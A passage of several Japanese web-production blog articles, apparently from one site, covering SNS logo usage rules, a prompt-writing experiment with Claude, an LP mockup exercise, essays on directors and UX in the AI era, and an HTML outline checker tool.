項目許可される使い方禁止事項ロゴの種類公式サイトからダウンロードした最新版のみ使用可古いバージョンのロゴ、自作のロゴ、スクリーンショットからの切り抜き色公式カラー（フルカラー/白/黒）のみテーマカラーに合わせた色変更、グラデーション追加形状オリジナルのまま使用回転、変形、縦横比の変更、一部切り取りサイズデジタル：24dp以上、印刷：3.1mm以上最小サイズ未満での表示余白再生ボタン（三角形）のサイズ以上の余白を確保他のロゴ・テキストとの密着配置リンク用途自社チャンネルへのリンクアイコンとして使用（申請不要）YouTube公式パートナーであるかのような表現特殊用途事前申請の上、承認後に使用可TV番組・大規模広告での無断使用 YouTubeロゴをWebサイトに掲載する場合、一般的なリンクアイコン用途であればガイドラインを遵守するだけで使用許可は不要です。ただし、YouTubeロゴを目立つ位置に大きく表示する場合や、自社サービスとの一体感を演出するデザインには注意が必要です。 その他主要SNSのロゴ使用ルール比較 Instagram（Meta） 申請の要否： 条件付きで必要 申請が必要なケース ライブ配信での使用 ラジオでの使用 OOH広告（屋外広告） A4サイズ以上の印刷物 申請不要なケース 一般的な企業サイトのフッター 名刺（A4未満） SNS投稿 基本ルール 最小サイズ：29×29px以上 余白：ロゴサイズの半分以上 単色化は可（黒または白を推奨）。ただし形状・角丸・回転など、色以外の変更は不可 Instagramの単色化が許可されている点は、色の変更を禁止しているLINEやFacebookと正反対です。詳しくはInstagramロゴの使用ルールで、公式アセットの入手方法や表記ルールとあわせて解説しています。 X（旧Twitter） 申請の要否： 基本的に不要 ただし守るべきルール 公式ロゴを使用（自作禁止） 余白：ロゴの上下左右に均等なクリアスペースを確保 色：黒（#000000）または白（#FFFFFF）のみ 判読可能で、形状の完全性を保つこと（改変は不可） 最小サイズの数値規定は、公式ガイドラインには存在しない ⚠️ 注意： Xの公式ブランドガイドラインは2023年8月版のまま更新されておらず、ガイドライン自身が「網羅的ではない」と認めています。書かれていない事項が多いため、断定的な解説には注意してください。 「旧Twitterの青い鳥ロゴは禁止された」という説明が広まっていますが、これは誤りです。公式ガイドラインに鳥に関する記載は一行もありません。詳しくはXロゴの使用ルールで、差し替えの要否とあわせて解説しています。 Facebook（Meta） 申請の要否： 条件付きで必要 申請が必要なケース テレビCM オンラインマーケティング・広告 書籍 舞台・テレビ番組・映画 印刷パッケージ 申請不要なケース 一般的な企業サイト 名刺 SNS投稿 Facebookのいいねボタンとコメントボタンは2026年2月10日に廃止されました。ロゴ側も「f」だけを取り出す使い方が禁止されています。詳しくはFacebookロゴの使用ルールで、公式アセットの入手方法とあわせて解説しています。 LINE 申請の要否： 基本的に不要 基本ルール 公式ロゴを使用 改変・変形・アニメーション追加禁止 指定された余白とサイズを遵守 LINEに関連しない商品・サービスでの使用禁止 LINEは色の変更が明確に禁止されており、さらに友だち追加ボタンを画像として貼ることも規約違反です（コードでの実装が必須）。詳しくはLINEロゴと友だち追加ボタンの正しい設置方法で解説しています。 TikTok 申請の要否： 原則、事前の書面許可が必要（文字表記のみ不要） 基本ルール ロゴ・アイコンの使用は事前の書面許可が原則 「follow us on TikTok」のような文字表記は許可不要 カラー版ロゴを置けるのは白か黒の背景のみ（色変更・改変は禁止） 商品・ノベルティ・販促物への使用は明文で禁止（TikTok Shopセラーは特に注意） TikTokは他のSNSと違いロゴが原則「書面許可制」で、2025年のリブランドでガイドラインの置き場所もTikTok Brand Hubへ移転しました（旧URLを案内する解説記事に注意）。詳しくはTikTokロゴの使用ルールで解説しています。 一覧表：SNSロゴ使用ルール比較 SNS申請最小サイズ主な注意点YouTube🟡 条件付き24dp/3.1mmリンク用途は不要。TV・広告等は申請必要Instagram🟡 条件付き29×29pxA4以上の印刷物は申請必要Facebook🟡 条件付き16pxTV・広告は申請必要X (Twitter)🟢 基本不要30×30pxガイドライン遵守が条件LINE🟢 基本不要-改変厳禁TikTok🔴 原則書面許可110px/30px文字表記のみ許可不要。商品・販促物への使用は禁止 全SNS共通：守るべき5つの鉄則 1. 必ず公式サイトからダウンロード フリー素材サイトや他社サイトからのコピーはNG。常に最新版を公式から入手しましょう。 2. 古いバージョンは使わない ロゴは定期的にリニューアルされます。使用の都度、最新版かチェック。 3. 改変・変形は絶対NG 色の変更 形状の変更 回転 エフェクト追加 縦横比の変更 4. 最小サイズと余白を守る 視認性を保つため、各SNSが定める最小サイズと余白は厳守。 5. スポンサー関係を誤解させない 「〇〇公式パートナー」など、実際にない関係性を匂わせる表現は禁止。 実務でのチェックポイント Web制作会社・デザイナーの方へ クライアントから「SNSアイコンを入れてほしい」と依頼されたら： ✅ チェックリスト 公式ガイドラインを確認済み 最新版のロゴを使用 サイズと余白が規定内 申請が必要な場合は事前に確認 使用箇所のスクリーンショットを保存 ⚠️ よくあるトラブル デザイン完成後に「申請が必要」と判明 審査で差し戻され、スケジュール遅延 公開後にガイドライン違反を指摘される なお、ロゴを規定どおり置けたあとに残るのが「そのSNSアカウントとサイトが同じ運営者のものだと検索エンジンに伝わっているか」です。アイコンを並べただけでは伝わらないため、sameAsでSNSとサイトを紐づける設定と、その合否を自分で確認する手順を別途まとめています。 💡 プロのコツ 最初のワイヤーフレーム段階で、各SNSのガイドラインを確認し、「触れない前提」で構成を組むとスムーズです。 まとめ：安全にロゴを使用するために 重要ポイント YouTubeロゴはガイドライン遵守が必須（リンク用途は申請不要、TV・広告等は申請が必要） Instagram・Facebookは条件付きで申請 X・LINEは基本的に申請不要（ただしガイドライン遵守は必須） 全SNS共通：改変禁止・公式ロゴ使用・最新版確認 なお、ここまでは他社のマークを載せるときのルールです。自分たちが作った（あるいは作ってもらった）制作物そのものの権利が誰にあるかは別の問題で、制作物の著作権は誰のものか で扱っています。 ガイドラインは更新される この記事の情報は2026年1月時点のものです。各SNSのガイドラインは随時更新されるため、使用の際は必ず公式サイトで最新情報を確認してください。 参考リンク集 この記事では各SNSの主要ルールを網羅しています。基本的な確認はこの記事で完結しますが、実際の申請手続きやロゴデータのダウンロードには以下の公式ページへのアクセスが必要です。 YouTube Brand Resources（ロゴ申請・ダウンロード） Instagram Brand Resources（ロゴガイドライン・申請フォーム） Facebook Brand Resources（ロゴガイドライン・申請フォーム） X Brand Toolkit（ロゴダウンロード・使用規約） LINE App Icon Guidelines（ロゴダウンロード・使用ルール） TikTok Brand Hub（ロゴダウンロード・使用ガイドライン・法務条件） SNS以外の「公式ロゴ・マーク」の掲載ルール 「公式配布のアセットを改変せず使う」という原則は、SNSロゴ以外のブランドマークにも共通します。Web制作・EC運営でよく扱う公式マークの掲載ルールも、それぞれ個別に検証しています。 ### [AIとの協働コーディング入門｜プロンプトの書き方で結果が変わる理由](https://codequest.work/ai-coding-prompt-basics/) AIコーディングにおけるプロンプトの良し悪しとは、文章のうまさではなく、自分が書いた制約が出力に何個反映されたかで測れるものです。制約を箇条書きにして数え、出力のどの行がそれを満たしているかを指せた数を数える。指せなかったぶんが、そのプロンプトの欠落です。 「プロンプト次第で出力が変わる」という話はよく見かけます。ただ、その差を実際に並べて見せている記事はあまりありません。そこでこの記事では、まったく同じ課題を「丸投げの1行」と「制約を7つ書いたプロンプト」の2種類で、それぞれ3回ずつ投げた結果を先に出します。数字は筆者が実際に取ったもので、条件も限界も後述します。 結果を先に書いておくと、丸投げ側は3回とも「作られた機能そのもの」が違いました。そのうち1回にはメールアドレスの変更機能が混ざっており、「アバターURLはhttpsだけ許可する」という条件は3回とも入りませんでした。一方で制約を書いた側は、7項目すべてが3回とも反映されました。それでも、プロンプトをどれだけ丁寧に書いても直らなかったズレが1つ残りました。そこが、この記事の後半で扱う「検証手段」の話につながります。 この記事が扱うのは「指示の技術」と「その良し悪しの測り方」です。どのツールでAIコーディングを始めるかという話は扱いません。ツール選びから知りたい場合はAIにコードを書かせる開発スタイル（vibe coding）の全体像を先に読んでください。 同じ課題を、2つのプロンプトで投げて比べた まず実測から示します。主張の根拠を、読んだ人が同じ手順で再現できる形にしておくためです。 検証の条件 2026年8月2日に実施しました。条件は次のとおりです。 課題（両方共通）ログイン中のユーザーが、自分のプロフィール（表示名・自己紹介文・アバターURL）を更新できるようにするプロンプトA「プロフィール編集機能を作って」の1行だけプロンプトB環境・やりたいこと・制約7項目・出力形式を書いたもの（下に全文を載せます）試行回数A・Bそれぞれ3回ずつ、合計6回投げ方毎回まっさらな状態から1回だけ投げる。追加指示・やり直しはせず、1回目の出力だけを採点する使ったAIClaude の Sonnet 系モデル。Web検索は使わせていない 先に限界を書いておきます。3回は統計ではありません。傾向を見るための回数です。また、実行環境には共通のコーディング規約（命名や不変性のルール）があらかじめ読み込まれていました。これは丸投げ側に有利に働く条件です。それでも下の結果になった、という読み方をしてください。 投げた2つのプロンプト（そのまま貼れます） プロンプトA（丸投げ）。これだけです。 プロフィール編集機能を作って プロンプトB（5つの要素を書いたもの）。制約に番号を振っているのは、あとで採点するためです。 【環境】 - Next.js 16（App Router） - TypeScript 5 - Prisma 7 + PostgreSQL - 認証は next-auth（セッションから user.id が取れる） 【やりたいこと】 ログイン中のユーザーが、自分のプロフィール（表示名・自己紹介文・アバターURL）を更新できるようにしたい。 【制約】 1. 更新処理は Server Actions で書く 2. バリデーションは Zod 4 を使う 3. 表示名は1〜30文字 4. 自己紹介文は0〜200文字 5. アバターURLは https のみ許可する 6. 他人のプロフィールを書き換えられないようにする 7. 新しいライブラリは追加しない 【出力形式】 1. Zodスキーマ 2. Server Action本体 3. 想定されるエラーケースの一覧 結果：丸投げは3回とも「違う機能」を作った 最初に目についたのは、出力の質より前の段階でした。プロンプトAは、3回とも「何を編集できる機能なのか」自体が違いました。 回AIが自分で決めた編集項目表示名の上限自己紹介の上限アバターURLをhttpsに限定1回目名前・メールアドレス・自己紹介・アバターURL50字200字していない2回目表示名・自己紹介・アバターURL50字500字していない3回目名前・自己紹介・Webサイト・X（Twitter）ユーザー名50字200字していない 「プロフィール編集」という言葉から何を連想するかが毎回違うので、当然そうなります。問題はここからです。1回目にはメールアドレスの変更機能が入っていました。メールアドレスの変更は本来、確認メールによる本人確認を伴う操作です。それが、表示名や自己紹介と同じ1つのフォームに、同じ扱いで並んで出てきました。 3回目には、頼んでいないWebサイトURLとXのユーザー名の欄が増え、代わりにアバターURLが消えました。丸投げで返ってくるのは「足りないコード」ではなく、頼んでいない範囲まで含んだ、毎回輪郭の違うコードです。 対してプロンプトBは、3回とも指定した3項目だけを扱い、制約7項目がすべて反映されました。 測定項目A（丸投げ）3回B（制約7項目）3回プロンプトに書いた制約の数07出力に反映された制約の数採点対象なし（何も書いていないため）3回とも 7 / 7アバターURLをhttpsに限定した0回 / 3回3回 / 3回依頼していない機能・項目が混ざった2回 / 3回0回 / 3回更新対象をサーバー側のセッションIDに固定した3回とも実施（ただし理由の明示なし）3回とも実施＋「クライアント由来のidは使わない」と明記想定エラーケースの列挙0件8件・11件・13件 予想外だった点：出力が多いのは丸投げのほう 1回目の出力を保存して行数を数えたところ、丸投げが311行、制約を書いたほうが108行でした。丸投げのほうが約2.9倍多く出力しています。丸投げ側はスキーマ・APIルート・フォーム・ページの4ファイルを一式生成し、制約を書いた側は指定した3項目（スキーマ・処理本体・エラーケース一覧）だけを返したためです。 この行数の比較は1回目の1組についてのみ実測した数字です（残り2組は生成物を保存していないため、行数は測っていません）。ただ傾向としては3回とも同じで、丸投げは毎回4ファイル分のコードを返しました。 ここから言えるのは1つだけです。出力の量は品質の指標になりません。「AIがたくさん書いてくれた」は、うまくいった証拠ではなく、こちらが決めていない部分をAIが埋めた量です。 なぜ同じAIで出力が変わるのか 「AIは指示された通りに出力する」だけでは、上の結果は説明できません。実際に起きているのは、その手前の段階です。 書かれていない仕様は、空欄のまま出てこない コードは「未定」のまま書けません。表示名の上限を決めなければ入力欄は作れず、URLをどこまで許すかを決めなければバリデーションは書けません。だからAIは、書かれていない項目を必ず何かで埋めます。上の実測で表示名の上限が毎回50字になり、自己紹介が200字だったり500字だったりしたのは、その埋め方が毎回決め直されているからです。 Anthropicの公式ドキュメントは、この状況を「Claudeを、優秀だが自社の慣習やワークフローを知らない新入社員だと考えること」と表現しています。新入社員は、決められていない仕様を勝手に空欄にはしません。もっともらしい値を置いて先に進みます。 埋められた仕様は、頼んでいない機能として現れる 埋められるのは値だけではありません。機能の範囲も埋められます。「プロフィール編集」に何が含まれるかを書かなければ、メールアドレス変更が含まれる回もあれば、SNSアカウント欄が含まれる回もあります。 ここが危険なのは、増えた機能はレビューで目立たない点です。足りない機能は動かしたときに気づきます。増えた機能は動いてしまいます。「メールアドレスも編集できるようになっていた」ことに気づくのは、本人確認を伴わないメール変更が問題になったあとです。 公式ドキュメントはこれを何と呼んでいるか Anthropicの「Best practices for Claude Code」は、よくある失敗パターンの1つとして the trust-then-verify gap（信用してから検証する、という順序のずれ）を挙げ、次のように書いています。 Claude produces a plausible-looking implementation that doesn't handle edge cases. Fix: Always provide verification (tests, scripts, screenshots). If you can't verify it, don't ship it.Anthropic「Best practices for Claude Code」（2026年8月2日取得） もっともらしく見える実装が返ってくること自体は、想定内の挙動として扱われています。実務で「動くか」より「運用できるか」が問われるのは、この性質があるからです。運用できるとは、レビュー・テスト・デプロイ・保守という複数の段階に耐えられることです。 なお、指示が甘くなる原因はコーディングに限りません。何を作るのかを自分が言語化できていない場合、プロンプトの書式を整えても中身は埋まりません。この論点はAIへの指示が甘くなる原因を業務理解の側から整理した記事で扱っています。 プロンプトに入れる5つの要素 上の実測でプロンプトBに書いたのは、次の5つです。それぞれ「何を埋められないようにするための項目か」という観点で見てください。 コンテキスト（環境・バージョン・既存の書き方） 言語・フレームワーク・バージョン・ORM・認証方式を書きます。バージョンを書かないと、AIは学習時点で一般的だった書き方を選びます。上の実測でプロンプトAが返したコードは、Zod 4 でトップレベルへ移された文字列フォーマットを旧来の z.string().url() の形で呼び、認証やDBクライアントについては「存在すると仮定した独自ユーティリティ」を import していました。 そして最も強いコンテキストは、文章ではなく既存コードそのものです。「この書き方に合わせて」と言って実物を渡せば、命名も構造も揃います。この効き方が最も分かりやすいのがCSSアニメーションで、言葉で動きを説明するより動くコードを1つ渡してから指示するほうが速いという具体例をまとめています。 目的（何をもって完成とするか） 「ログイン機能を作って」ではなく「メールアドレスとパスワードで認証し、セッションを発行するところまで」と書きます。範囲の終わりを書かないと、上の実測のように範囲が毎回変わります。 Anthropicの公式ドキュメントは、この項目について次の判定基準を「Golden rule」として挙げています。 Show your prompt to a colleague with minimal context on the task and ask them to follow it. If they'd be confused, Claude will be too.（そのタスクの背景をほとんど知らない同僚にプロンプトを見せて、その通りに作業してもらう。同僚が困惑するなら、Claudeも困惑する）Anthropic「Prompting best practices」（2026年8月2日取得） 制約条件（あとで数えられる形で書く） ここがこの記事で最も重要な項目です。制約は、番号を振った箇条書きで書いてください。散文の中に混ぜて書くと、あとで「何個書いたか」が数えられなくなり、採点できなくなります。 数えられる制約とは、出力を見たときに「満たしている行はここ」と指させるものです。次の対比が目安になります。 ### [模写上級 #006 | CTA特化LPをNext.jsで作る](https://codequest.work/nextjs-saas-lp-mockup/) SaaS風ランディングページ模写 模写上級シリーズ第6弾は、SaaS風のCTA特化ランディングページです。 BtoB向けSaaSのWebサイトには共通点があります。ページのあちこちに「無料で始める」「資料請求」といったボタンが配置されていること。これは偶然ではなく、ユーザーを行動に導くための計算された設計です。 今回はそんなCTA（Call To Action）特化型のLPを模写対象として用意しました。デザインを再現しながら、「なぜこの位置にボタンがあるのか」「なぜこの余白なのか」を考えることで、実務で通用するLP制作スキルが身につきます。 デモページ デモを見る → demo-site まずはPCとスマートフォンの両方でページ全体を眺めてみてください。CTAボタンが何箇所にあるか、どんな色が使われているか、余白はどのくらいか——観察するポイントはたくさんあります。 今回のLPの特徴 CTA特化の設計 このLPには、CTAボタンが5箇所に配置されています。ヘッダー、ファーストビュー、ページ中盤、最終セクション、そして画面下部に常時表示されるフローティングバナー。 ユーザーがページのどこにいても、行動を起こしたいと思った瞬間にボタンが目に入る。この徹底した設計が「CTA特化」と呼ばれる理由です。 特にフローティングバナーは、スクロールしても常についてくる存在感のあるパーツ。模写する際は、このバナーの高さ、余白、ボタンのサイズ感をしっかり観察してください。 SaaS系LPの王道構成 Problem（課題）→ Solution（解決策）→ Social Proof（実績）→ FAQ → CTA この流れは、BtoB SaaSのLPでよく見られる王道パターンです。ユーザーの心理に沿って情報を並べることで、自然と行動を促す構成になっています。 今回の模写を通じて、この構成パターンを体に染み込ませてください。一度身につければ、どんな業種のLPでも応用できます。 模写で身につくスキル デザインの「型」を学べる LPには「売れる型」があります。ファーストビューの構成、CTAボタンの配置、信頼性を示すセクションの作り方——これらは業界を問わず共通するパターンです。 今回のLPは、そうした「型」が詰め込まれた教科書的な作品。模写することで、プロの設計思想を体感できます。 余白の感覚が磨かれる プロのデザインと素人のデザインの最大の違いは「余白」です。 このLPでは、セクション間にたっぷりと余白が取られています。この「呼吸感」が洗練された印象を生み出しているのです。模写する際は、要素間の距離をピクセル単位で観察してください。 色の使い方が理解できる このLPで使われている色は驚くほどシンプルです。背景は白〜ライトグレー、テキストは黒〜濃いグレー、CTAボタンだけが赤系。 たった3系統の色で洗練されたデザインが成立しています。色数を絞ることで、本当に目立たせたい要素（CTAボタン）が際立つのです。 模写のポイント まずは全体を観察する いきなり手を動かすのではなく、まずはデモページを何度もスクロールしてください。 全体の構成はどうなっているか。何色が使われているか。どこに余白があるか。どんな要素が繰り返し登場するか。 この「観察」の時間を十分に取ることで、模写の精度が大きく変わります。 細部にこだわる ボタンの角丸はどのくらいか。影はついているか。ホバー時に色は変わるか。 こうした細部の作り込みが、「素人っぽさ」と「プロっぽさ」を分けます。ブラウザの開発者ツールを使って、実際の数値を確認しながら進めるのがおすすめです。 レスポンシブも確認する PC版を模写したら、スマートフォンサイズでの表示も確認してください。 ヘッダーがハンバーガーメニューに変わる。カードの列数が変わる。フォントサイズが調整される。これらの変化を観察し、同じように実装できるかチャレンジしてみましょう。 模写が終わったら 模写が完了したら、色やテキストを変えて「自分版」を作ってみてください。アレンジを通じてデザインの引き出しが増えます。 完成した作品はポートフォリオに追加しましょう。「模写作品」として掲載し、オリジナルへのリンクを併記すれば問題ありません。 そして次の模写に進みましょう。模写は数をこなすことで効果が出ます。 なぜ模写が効果的なのか 「ゼロから作ったほうが勉強になるのでは？」と思うかもしれません。 しかし、ゼロからの制作には「正解がわからない」という壁があります。模写には「正解」があります。プロが作った完成形を目指すことで、迷いなくスキルを吸収できる。これが模写学習の最大のメリットです。 プロの作品を細部まで観察することで、「なぜこうなっているのか」を考える習慣も身につきます。 まとめ 今回の模写課題は、SaaS風のCTA特化ランディングページです。CTAボタンの配置、余白、色のコントラスト——学べるポイントが詰まっています。 デモページをじっくり観察し、細部までこだわって再現してみてください。 それでは、模写チャレンジを楽しんでください！ ### [AI時代に必要なディレクターとは何か｜制作もでき判断もできる人だけが実務で残る](https://codequest.work/ai-director-production-judgement/) AI時代に起きている「制作と判断の分離」 AIの進化によって、デザインやコードは誰でも作れる時代になりました。生成AIを使えば、それなりに整った制作物は短時間で出力できます。 しかし現場では、こんな声が増えています。 「AIで作ったけれど、実務では通らなかった」「見た目は良いが、案件では使えないと言われた」「なぜダメなのか説明できない」 問題はAIではありません。問題は、制作と判断が分離され、実務基準が見えにくくなったことです。 SNSでは「実務で使える」と言われる制作物が流行します。けれど実務の現場では、見た目が良いだけでは採用されません。運用、修正、引き継ぎ、責任まで含めて成立するかが問われます。このギャップが、いま一気に拡大しています。 なぜAI制作物は実務で通らないのか AIの出力は、見た目の完成度が高いことが多いです。ただし、実務で通らない理由はだいたい決まっています。 たとえば、 ・要件が曖昧なまま形だけが先に出ている・誰の意思決定を通ったデザインかが不明・差し替え、修正、量産を想定していない・運用で破綻する構造になっている・説明責任が成立しない つまり、制作物としては成立していても、承認物として成立していないのです。 実務では「作れたか」よりも「通せるか」が重要です。通すとは、クライアントの社内、法務、営業、現場、運用という複数のフィルターを通すことです。そこに耐えられない制作物は、いくら美しくても却下されます。 これからのディレクターに求められる前提条件 従来のディレクターは、進行管理や調整役として語られることが多くありました。しかしAI時代では、その定義では足りません。 これから必要なのは、制作もでき、判断もできるディレクターです。 「判断だけできる人」では机上になります。制作の現実を知らない判断は、工数や制約を無視した理想論になり、現場を壊します。 「制作だけできる人」では責任が抜けます。作れることと、通せることは別物です。承認と却下の責任を持たない制作は、結果として実務で通りません。 制作もできるディレクターとは何か 制作ができるとは、単に手を動かせるという意味だけではありません。少なくとも次のことを身体感覚として理解している状態です。 ・実装の難易度を理解している・修正工数を想像できる・技術的制約を知っている・構造の癖や落とし穴を知っている・差し替えや量産に耐える設計が分かる この前提があるからこそ、判断が現実に着地します。AIが出した案を見た瞬間に「これ、後で崩れる」「ここが修正地獄になる」と気づけるのは、制作の現場を通過しているからです。 判断もできるディレクターとは何か 判断ができるとは、見た目の好みで決めることではありません。実務で通る基準を持ち、責任を前提に承認と却下ができることです。 具体的には、次のような判断ができる人です。 ・短期の完成度より長期運用を優先できる・「今きれい」より「後で壊れない」を基準にできる・出口（改修、撤退、引き継ぎ）から逆算して設計を見られる・説明できない判断を通さない・修正される前提で評価できる・属人化を危険と判断できる・作れると通せるを分離して考えられる・クライアント側の責任まで自分事で考えられる・却下を恐れない・半年後の自分が困らないかを想像できる・成果物ではなく判断理由を見る・判断を言語化できる AIは候補を出せます。しかし、通した後に何が起きるかの責任を負えません。だからこそ「判断できる人」が必要になります。 制作と判断を分離すると何が起きるのか 制作と判断を分離すると、次の現象が起きます。 ・制作物が観賞用になる・説明責任が消える・修正のコストが爆発する・運用フェーズで破綻する・現場が疲弊する・結果として成果が出ない SNSでは完成物が評価されます。しかし実務では、完成物よりも「その後」が評価されます。 つまり、実務で通る制作物とは、意思決定の結果が視覚化されたものです。意思決定が通っていない制作物は、どれだけ美しくても実務では採用されません。 AI時代に成立するディレクター像 これからのディレクターは、作らない人ではありません。作れるが、あえて作らない人です。 制作を理解しているからこそ、判断に重みが出ます。判断ができるからこそ、制作が成果につながります。 AIが制作を民主化したことで、作れる人は増えました。しかし、通せる人は増えていません。むしろ、希少になっています。 だから価値が残るのは、 制作もでき、判断もでき、却下もでき、説明もできる人です。 これからディレクターを目指す人へ もしディレクターを目指すなら、肩書きから入らない方がいいです。必要なのは職種ではなく、判断能力です。 次の問いに答えられるかを、自分の基準にしてください。 ・なぜこの案は通るのか、説明できるか・なぜこの案は却下すべきか、説明できるか・修正を前提にしても破綻しないか・運用の現場が回るか・半年後の自分が困らないか この問いに答えられるようになるほど、ディレクターとしての価値は上がります。 まとめ AI時代の本質は「制作が速くなる」ことではありません。本質は「実務判断の重要度が上がる」ことです。 作れるかどうかではなく、通せるかどうか。美しいかどうかではなく、運用できるかどうか。新しいかどうかではなく、説明できるかどうか。 ディレクターは、指示を出す人ではありません。制作物が実務で通るかを、責任付きで判断する人です。 そしてAI時代は、その判断ができる人ほど価値が上がります。 過去関連記事：制作スキルの有無で分ける「ディレクション」と「ディレクター」の違い よくある質問（FAQ） Q. AI時代にディレクターに求められるスキルは？ 制作スキル（HTML/CSS/デザイン）と判断力の両方です。AIがコードやデザインを生成できる時代でも、品質の判断・要件の取捨選択・プロジェクト全体の設計は人間のディレクターにしかできません。制作を理解しているからこそ正確な判断ができます。 Q. AIでディレクターの仕事はなくなりますか？ タスク管理や進行管理の一部はAIで自動化される可能性がありますが、ディレクター職自体がなくなることはありません。クライアントの本質的な課題の発見、チームメンバーのモチベーション管理、品質基準の設定と判断は、人間の経験と洞察力が不可欠な領域です。 Q. 制作ができないディレクターの問題点は？ 見積もり精度が低くなる、技術的な実現可能性を判断できない、クリエイターへの指示が曖昧になる、品質チェックが表面的になるなどの問題が生じます。結果として手戻りが増え、プロジェクトの品質とスピードが低下します。 👉 この記事はAI時代のWeb制作完全ガイドの一部です。AIコーディングからAI検索最適化まで、関連記事を体系的にまとめています。 ### [2026年以降のWEB制作はどう変わるのか｜UX中心時代の今後の展開](https://codequest.work/web-ux-future-2025/) 2026年以降、WEB制作はどう変わるのか WEB制作の世界は、いま大きな転換期に入っています。 これまで主流だった ・デザイン重視・技術重視・トレンド追従 という価値観から、 体験重視（UX中心） へと、明確に軸が移り始めています。 2026年以降のWEB制作は、「何を作るか」よりも「どう体験させるか」が評価基準になります。 ※実務ではもっと深くビジネス・チーム・技術制約や計測（A/Bテスト、指標設計など）も合わせて考える必要があります。 なぜUX中心の時代になるのか 理由はとても単純です。 ・情報はAIで量産できる・デザインはすぐに真似できる・技術差は縮まり続ける この状態では、機能や見た目だけでの差別化は成立しません。 そこで最後に残る価値が、 ユーザー体験そのもの になります。 UXは「使いやすさ」だけではない これからのUXは、単なる操作性ではありません。 ・理解しやすい・迷わない・安心できる・行動しやすい という一連の体験すべてを含みます。 つまりUXとは、 サイトを通して、どう感じ、どう行動するか を設計する概念です。 今後のWEB制作の役割分担は変わる これからは、 ・デザインはUXのためにある・技術はUXを支えるためにある・SEOはUXに人を届けるためにある という関係性になります。 どれかが主役ではなく、UXを中心にすべてが回る構造になります。 企業サイト・LP・メディアの変化 今後のサイトは次のように変わります。 ・情報量より理解しやすさ・装飾より体験の流れ・説明より納得感・誘導より自然な行動 これにより、 「見せるサイト」から「体験させるサイト」へと進化していきます。 AI時代だからこそUXが重要になる AIによって、 ・文章・構成案・デザイン案 は簡単に作れるようになりました。 だからこそ、 最終的に価値を持つのは体験設計 になります。 AIが作れるのは部品であり、体験の設計は人間の領域です。 これからのＷＥＢ制作の本質 2026年以降のWEB制作は、 WEBを作る仕事ではなく体験を設計する仕事 へと変わっていきます。 サイトは完成品ではなく、体験装置になります。 まとめ 今後のWEB制作は、 UXを中心に、デザイン・技術・SEOが連動する時代です。 見た目の時代は終わり、機能の時代も終わり、 これからは 体験の時代 が本格的に始まります。 よくある質問（FAQ） Q. 2026年以降のWeb制作トレンドは？ UX中心の設計がさらに加速し、AI搭載のパーソナライゼーション、WebGLやCSS Houdiniによる没入型体験、アクセシビリティの法的義務化への対応が重要になります。技術よりも「体験設計力」が差別化要因になる時代です。 Q. コーディングスキルは今後も必要ですか？ はい。ノーコードツールやAIコーディングが進化しても、カスタム実装・パフォーマンス最適化・セキュリティ対策・既存システムとの統合には専門的なコーディングスキルが必要です。ツールを使いこなす基盤としても不可欠です。 Q. UX中心の時代にWeb制作者が身につけるべきスキルは？ ユーザーリサーチ、情報設計（IA）、アクセシビリティ、パフォーマンス最適化の4つが重要です。従来の「見た目をきれいに作る」から「ユーザーの目的を達成させる体験を設計する」へのシフトが求められています。 ### [【無料】SEOに効くHTMLアウトライン設計ツール｜見出しタグを自動検証できる](https://codequest.work/html-outline-checker/) HTMLアウトラインチェッカーとは？正しい文書構造を学ぶための無料ツール Web制作において、見出しタグ（h1〜h6）やsectionタグを正しく使うことは、SEOとユーザー体験の両面で非常に重要です。しかし、コーディングの段階で「見出しの階層構造が正しく組めているか？」を手動で確認するのは意外と面倒。特に初心者にとっては、h2の下にh4を入れてしまったり、複数のh1を配置してしまったりと、知らないうちにSEO的に不利な状態になりがちです。 そこで便利なのが、CodeQuestが提供する HTML Outline Checker です。このツールにHTMLコードを貼り付けて「検証する」ボタンをクリックするだけで、文書構造のエラーを瞬時にチェックできます。 HTML Outline Checker 自分のサイトのSEO状態を今すぐチェックしたい方は Direbase（ディレベース） をお試しください。URLを入力するだけで構造化データ・メタタグ・見出し構造を一括診断できます。 HTMLアウトラインチェックが重要な理由 SEOへの影響検索エンジンはHTML構造を理解してページの内容を評価します。適切な見出し階層やセマンティックタグがないと、意図した評価がされにくくなります。 アクセシビリティの向上スクリーンリーダーなどはアウトラインを頼りにページを読み上げます。間違った見出し構造は、ユーザー体験を損ねる要因になります。 保守性の向上正しいHTMLは後からコードを読む人にとってもわかりやすく、修正や拡張がしやすくなります。 ツールの使い方 操作はとても簡単です。 チェックしたいHTMLコードをコピー（例：課題で書いたHTMLファイルの内容をコピー） ツールのテキストエリアに貼り付け 「検証する」ボタンをクリック すると以下のように、文書構造やエラーが画面に表示されます。CodeQuest HTML Outline Checkerの検証画面 よくある構文エラーの例 このツールが実際に検出するのは、見出し階層だけではありません。エラー（赤）と警告（黄）の2段階で、次の項目を指摘します。 エラーとして指摘される項目 閉じタグが足りない／閉じタグが余分にある <ul> や <ol> の直下に <li> 以外の要素がある（逆に <li> の親が <ul> / <ol> でない場合も指摘） id 属性が重複している <!DOCTYPE> / <html> / <head> がない 警告として指摘される項目 見出しレベルが飛んでいる（例：<h2>の次に<h4>が来る） <h1> が複数存在する <title> / <meta charset> / <meta name="viewport"> がない <html lang> が未設定 <img> に alt がない class 属性の中で同じクラス名が重複している いずれも初心者がつまずきやすく、しかも画面の見た目には出ないため気づきにくいものばかりです。該当箇所はコードの中でハイライトされるので、どの行を直せばよいかが一目で分かります。 学習効果とSEOへのメリット このアウトラインチェッカーを使えば、自分のHTMLが 検索エンジンに理解されやすい構造 になっているかを確認できます。特に初学者は「正しいコードの型」を繰り返し意識することが大切です。毎回の練習でチェックすれば、自然とSEOに強いHTMLを身につけられるでしょう。 CodeQuest.workで公開中の全ツールは「Web制作の無料ツール10選｜レイアウト・コード比較・SEO診断・デザイン」でまとめて紹介しています。 よくある質問（FAQ） Q. このツールは無料で使えますか？ A. はい。完全無料でご利用いただけます。会員登録やインストールは不要で、ブラウザからすぐに利用可能です。 Q. h1タグを複数使っても大丈夫ですか？ A. HTML5の仕様上、セクショニングコンテンツ内で複数のh1が使えるケースもあります。ただし、SEOやアクセシビリティの観点からは、基本的にページ内で1つのh1を設定し、以降はh2〜h6を使った階層構造にするのが推奨です。 Q. エラーが出た場合はどう直せばいいですか？ A. エラーが表示された場合は、見出しの入れ子構造やタグの順序が正しいかを確認してください。特に、h2の下にいきなりh4を置かないようにするなど、論理的な階層構造を意識すると解決できます。 Q. SEO対策として有効ですか？ A. 